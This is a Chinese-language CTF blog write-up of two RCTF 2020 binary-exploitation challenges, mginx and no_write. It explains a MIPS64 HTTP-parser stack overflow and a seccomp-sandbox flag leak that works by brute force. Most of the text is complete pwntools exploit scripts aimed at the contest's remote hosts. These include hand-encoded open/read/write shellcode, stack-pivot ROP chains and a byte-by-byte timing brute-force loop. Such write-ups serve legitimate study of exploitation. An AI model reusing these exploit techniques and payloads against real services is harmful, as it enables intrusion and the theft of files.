RCTF 2020 mginx && no_write

都快忘记自己的Blog了
被迫做学校各种傻傻滴作业,第一天下午和最后一天凌晨抽时间看了两个题,不是很难,思路上都比较简单(没有看其他题目,不过这两个题卡在远程的时间比做题的时间都长,论sleep和recv的重要性)

0x01 mgnix

一血,Happy

1
2
3
4
5
6
7
8
9
$ checksec ./mginx 
[!] Did not find any GOT entries
[*] '/home/kirin/xctf/mnigx/mginx'
Arch: mips64-64-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x120000000)
RWX: Has RWX segments

mips pwn
是自己实现的一个简单的HTTP解析程序
程序在根据Content-Length计算第二次需要read的数据长度时存在逻辑问题,并且直接从第一次read的HTTP头结尾开始read,从而可以造成栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
.text:0000000120001B00 dli $v0, 0x120000000 # Doubleword Load Immediate
.text:0000000120001B04 daddiu $a1, $v0, (asc_1200021E0 - 0x120000000) # "\r\n\r\n"
.text:0000000120001B08 ld $a0, 0x10C0+haystack($fp) # haystack
.text:0000000120001B0C dla $v0, strstr # Load 64-bit address
.text:0000000120001B10 move $t9, $v0
.text:0000000120001B14 jalr $t9 ; strstr # Jump And Link Register
.text:0000000120001B18 nop
.text:0000000120001B1C sd $v0, 0x10C0+var_10A0($fp) # Store Doubleword
.text:0000000120001B20 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword
.text:0000000120001B24 beqz $v0, loc_120001C70 # Branch on Zero
.text:0000000120001B28 nop
.text:0000000120001B2C ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword
.text:0000000120001B30 daddiu $v0, 4 # Doubleword Add Immediate Unsigned
.text:0000000120001B34 sd $v0, 0x10C0+var_10A0($fp) # Store Doubleword
.text:0000000120001B38 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword
.text:0000000120001B3C sd $v0, 0x10C0+var_1070($fp) # Store Doubleword
.text:0000000120001B40 lw $v1, 0x10C0+var_10A8($fp) # Load Word
.text:0000000120001B44 daddiu $a0, $fp, 0x10C0+var_1038 # Doubleword Add Immediate Unsigned
.text:0000000120001B48 ld $v0, 0x10C0+var_10A0($fp) # Load Doubleword
.text:0000000120001B4C dsubu $v0, $a0 # Doubleword Subtract Unsigned
.text:0000000120001B50 sll $v0, 0 # Shift Left Logical
.text:0000000120001B54 subu $v0, $v1, $v0 # Subtract Unsigned
.text:0000000120001B58 move $v1, $v0
.text:0000000120001B5C lw $v0, 0x10C0+var_1068($fp) # Load Word
.text:0000000120001B60 addu $v0, $v1, $v0 # Add Unsigned
.text:0000000120001B64 sw $v0, 0x10C0+var_10B8($fp) # Store Word
.text:0000000120001B68 daddiu $v1, $fp, 0x10C0+var_1038 # Doubleword Add Immediate Unsigned
.text:0000000120001B6C lw $v0, 0x10C0+var_10A8($fp) # Load Word
.text:0000000120001B70 daddu $v0, $v1, $v0 # Doubleword Add Unsigned
.text:0000000120001B74 sd $v0, 0x10C0+buf($fp) # Store Doubleword
.text:0000000120001B78 b loc_120001BD0 # Branch Always
.text:0000000120001B7C nop
.text:0000000120001B80 # ---------------------------------------------------------------------------
.text:0000000120001B80
.text:0000000120001B80 loc_120001B80: # CODE XREF: main+4A0↓j
.text:0000000120001B80 lw $v0, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001B84 move $a2, $v0 # nbytes
.text:0000000120001B88 ld $a1, 0x10C0+buf($fp) # buf
.text:0000000120001B8C move $a0, $zero # fd
.text:0000000120001B90 dla $v0, read # Load 64-bit address
.text:0000000120001B94 move $t9, $v0
.text:0000000120001B98 jalr $t9 ; read # Jump And Link Register
.text:0000000120001B9C nop
.text:0000000120001BA0 sw $v0, 0x10C0+var_1094($fp) # Store Word
.text:0000000120001BA4 lw $v0, 0x10C0+var_1094($fp) # Load Word
.text:0000000120001BA8 blez $v0, loc_120001BE4 # Branch on Less Than or Equal to Zero
.text:0000000120001BAC nop
.text:0000000120001BB0 lw $v0, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001BB4 ld $v1, 0x10C0+buf($fp) # Load Doubleword
.text:0000000120001BB8 daddu $v0, $v1, $v0 # Doubleword Add Unsigned
.text:0000000120001BBC sd $v0, 0x10C0+buf($fp) # Store Doubleword
.text:0000000120001BC0 lw $v1, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001BC4 lw $v0, 0x10C0+var_1094($fp) # Load Word
.text:0000000120001BC8 subu $v0, $v1, $v0 # Subtract Unsigned
.text:0000000120001BCC sw $v0, 0x10C0+var_10B8($fp) # Store Word
.text:0000000120001BD0
.text:0000000120001BD0 loc_120001BD0: # CODE XREF: main+444↑j
.text:0000000120001BD0 lw $v0, 0x10C0+var_10B8($fp) # Load Word
.text:0000000120001BD4 bnez $v0, loc_120001B80 # Branch on Not Zero
.text:0000000120001BD8 nop
.text:0000000120001BDC b loc_120001BE8 # Branch Always
.text:0000000120001BE0 nop

类似这样的payload就可以:

1
2
3
4
5
"GET /flag \r\n
Connection: keep-alie\r\n
Content-Length: 1000\r\n
\r\n
"a"*0x9b0

栈溢出后程序没有开启NX保护,但是mips没有类似jmp rsp的操作
考虑先迁移栈到data段,而后再次栈溢出即可(迁移时注意为了防止crash,直接从main函数第一次read时复用即可)
(这里orw的shellcode,赛时没找到合适的as,为了赶时间,直接对照题目的elf文件中汇编到机器码的规则,以及题目uclibc中特定函数的syscall参数,人工翻译出来的orz)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
import sys
context.log_level="debug"
context.endian="big"
if len(sys.argv)==1:
p=process(["qemu-mips64","-g","1234","-L","./","./mginx"])
time.sleep(3)
elif len(sys.argv)==2:
p=process(["qemu-mips64","-L","./","./mginx"])
else:
p=remote("124.156.129.96",8888)


payload1="GET /flag \r\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b1
#payload1=payload1.ljust(0x1000,"a")
p.send(payload1)
ra=0x1200018C4
fp=0x120012540
gp=0x12001a250
payload="b"*(0x654-0x20)+p64(gp)+p64(fp)+p64(ra)+"d"*8
payload=payload.ljust(0xd98,"b")
p.sendline(payload)
#p.interactive()
p.recvuntil("404 Not Found :(")
#time.sleep(2)


p.sendline(payload1)
ra=0x120013608
#open
shellcode="\xc8\xff\xa4\x67"[::-1]
shellcode+="\xff\xff\x05\x28"[::-1]
shellcode+="\xff\xff\x06\x28"[::-1]
shellcode+="\x8a\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]
#read
shellcode+="\x00\x40\x20\x25"#a0
shellcode+="\xc0\xff\xa5\x67"[::-1]#buf
shellcode+="\x24\x06\x00\x28"#size
shellcode+="\x88\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]
#write
shellcode+="\x24\x04\x00\x01"#a0
shellcode+="\xc0\xff\xa5\x67"[::-1]#buf
shellcode+="\x24\x06\x00\x28"#size
shellcode+="\x89\x13\x02\x24"[::-1]
shellcode+="\x0c\x00\x00\x00"[::-1]
f="/flag"
payload="b"*(0x653-0x40)+f+"\x00"*(0x28-len(f))+p64(fp)+p64(ra)+"d"*8+shellcode+"a"*(0xd99-0x654-len(shellcode))
p.sendline(payload)
p.sendline()
p.interactive()

0x02 no write

1
2
3
4
5
6
7
$ checksec ./no_write 
[*] '/home/kirin/xctf/no_write/no_write'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序用prctl开启了沙箱,沙箱规则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ seccomp-tools  dump ./no_write 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0009
0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

只能进行open read 和exit
因为没有leak,所以首先要做的就是栈迁移,直接通过连续复用leave ret语句即可
因为这里没有syscall,所以想办法在栈中留下一个syscall
观察发现迁移栈后rcx=libc中read地址附近一个地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:000000000011007F syscall ; LINUX - sys_read
.text:0000000000110081 cmp rax, 0FFFFFFFFFFFFF000h
.text:0000000000110087 ja short loc_1100E0
.text:0000000000110089 rep retn
.text:0000000000110090 loc_110090: ; CODE XREF: read+B↑j
.text:0000000000110090 push r12
.text:0000000000110092 push rbp
.text:0000000000110093 mov r12, rdx
.text:0000000000110096 push rbx
.text:0000000000110097 mov rbp, rsi
.text:000000000011009A mov ebx, edi
.text:000000000011009C sub rsp, 10h
.text:00000000001100A0 call sub_1306E0
.text:00000000001100A5 mov rdx, r12 ; count
.text:00000000001100A8 mov r8d, eax
.text:00000000001100AB mov rsi, rbp ; buf
.text:00000000001100AE mov edi, ebx ; fd
.text:00000000001100B0 xor eax, eax
.text:00000000001100B2 syscall

偏移:0x110081位置
附近恰好有几个syscall,所以想到直接利用调用start中的libc_start_main来在栈中构造syscall地址,并且利用read的返回值来设置rax,就可以执行open syscall
简单说明一下:libc_start_main逻辑:在重新执行0x110081位置后,会直接ret入libc_start_main指定的”main函数”地址,这时候rbp=rcx,push入栈
在栈中留下一个syscall附近地址后(read附近的syscall可以直接顺利走到ret,没有crash,方便了后续利用),只需要多次写,构造一条rop链,并修改地址低字节,通过read返回值设置好rax后跳入rop链,就可以实现open(“./flag”);read(fd,flag_addr,len);
flag读入后,因为没有输出,所以要选择一条已知地址的cmp语句来实现判断,一一看过之后最后选择:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:0000000000400750 loc_400750:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400750 mov rdx, r15
.text:0000000000400753 mov rsi, r14
.text:0000000000400756 mov edi, r13d
.text:0000000000400759 call qword ptr [r12+rbx*8]
.text:000000000040075D add rbx, 1
.text:0000000000400761 cmp rbp, rbx
.text:0000000000400764 jnz short loc_400750
.text:0000000000400766
.text:0000000000400766 loc_400766: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400766 add rsp, 8
.text:000000000040076A pop rbx
.text:000000000040076B pop rbp
.text:000000000040076C pop r12
.text:000000000040076E pop r13
.text:0000000000400770 pop r14
.text:0000000000400772 pop r15
.text:0000000000400774 retn

只需让flag放在合适位置,在调用.text:0000000000400766时候就可以让flag其中一位pop入寄存器,而后再ret入0x400761这个位置,两个思路:

  • 直接通过比较rbp和rbx的值判断flag:rbx是flag其中一位(其他位覆盖为00字节就可以实现一位一位pop),而后设置rbp为猜测值,这样只有相等时,才会继续走下面的ret,在ret位置放置read,就可以通过判断是否阻塞来爆破每一位
  • 第二种类似:控制r12,rbp=0,这样总会走jnz程序流,这时候rbx为特定值,通过不断修改r12,当r12+rbx*8位置处为read时发生阻塞,只需要在特定位置放置一个可以read的地址,r12从大到小,当第一次发生read阻塞时,r12+rbx*8就是已知的一个地址,r12已知,直接可以计算出rbx

赛时赶时间没写好完全的多线程脚本,通过修改current值(flag字符的index),一位一位爆破即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
import time
#RCTF{C0mpare_f1ag_0ne_bY_oNe}
#context.log_level="debug"
#p=process("./no_write")
current=27
for i in range(110,127):
print i
try:
p=remote("129.211.134.166",6000)
payload1="a"*0x10+p64(0x601f00)+p64(0x04006F5)
time.sleep(0.5)
p.send(payload1)
payload2="a"*0x10+p64(0x601f00)+p64(0x0400773)+p64(0x4006bf)+p64(0x400771)+p64(0x601e70)+p64(0)+p64(0x400544)
time.sleep(0.5)
p.send(payload2)
payload3=(p64(0x400772)+p64(0))*6+p64(0x04004f0)
time.sleep(0.5)
p.send(payload3)
payload4=p64(0)*5+p64(0x400773)+p64(3)+p64(0x400771)+p64(0x601d00-current)+p64(0)
payload4+=p64(0x4004f0)+p64(0x400773)+p64(0)
payload4+=p64(0x400771)+p64(0x601e40)+p64(0)+p64(0x4004f0)
payload4+=p64(0x400771)+p64(0x601e00)+p64(0)+p64(0x4004f0)
payload4+=p64(0x40076d)+p64(0x601e28)+"./flag"
f_addr=0x601f28
rop=p64(0x0400773)+p64(f_addr)+p64(0x400771)+p64(0)+p64(0)+"\xb2"
time.sleep(0.5)
p.send(payload4)
time.sleep(0.5)
p.send(rop)
time.sleep(0.5)
p.send("aa")
payload5=p64(0x400771)+p64(0x601d01)+p64(0)+p64(0x4004f0)
payload5+=p64(0x400771)+p64(0x601cf8)+p64(0)+p64(0x4004f0)
payload5+=p64(0x40076d)+p64(0x601ce0)+p64(0)*13
payload5+=p64(0x40076d)+p64(0x601e28)
time.sleep(0.5)
p.send(payload5)
r12=0
bp=i
payload6="\x00"*7+p64(bp)+p64(r12)+p64(0)+p64(0x601f00)+p64(0x100)+p64(0x400761)
payload6+=p64(0)*7+p64(0x4004f0)+p64(0x4004f0)
time.sleep(0.5)
p.send(payload6)
#gdb.attach(p)
time.sleep(0.5)
p.send(p64(0x40076A))
print current," ",chr(i)
p.recvall()
except:
print "fail"